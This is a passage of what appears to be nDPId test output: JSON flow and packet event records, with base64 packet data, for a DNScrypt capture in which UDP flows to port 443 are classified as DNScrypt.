AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":339,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":45497,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47729,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38059,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+3QgAL0Rpj8KAAABl1DeT7pxAbsGBJ0gXC0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47729,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":341,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38062,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+3MAub0RyxMKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":341,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":342,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38076,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+3QAub0RyxIKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":342,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":52040,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38155,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+3VAAL0Rif4KAAABl1DeT8tIAbsCCDh2XDABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":52040,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":57636,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38168,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+3YgAL0Rpj0KAAABl1DeT+EkAbsGBHZpXDEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":57636,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":345,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38185,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+3YAub0RyxAKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":345,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":38511,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38215,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+3dAAL0RifwKAAABl1DeT5ZvAbsCCDh2XC4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":38511,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00674{"flow_id":139,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":59490,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4ZAADQRFDOXUN5PCgAAAQG70nQAw+UcXDKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00674{"flow_id":140,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":59779,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4dAADQRFDKXUN5PCgAAAQG7sbkAwwXbXC+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":349,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":59011,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61047,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcXchAAL0RQhgKAAABjgTNL+aDAbsCCB4KqlwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":349,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":59011,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":350,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":50387,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61065,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcXckgAL0RXlcKAAABjgTNL8TTAbsGBCE2qlkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA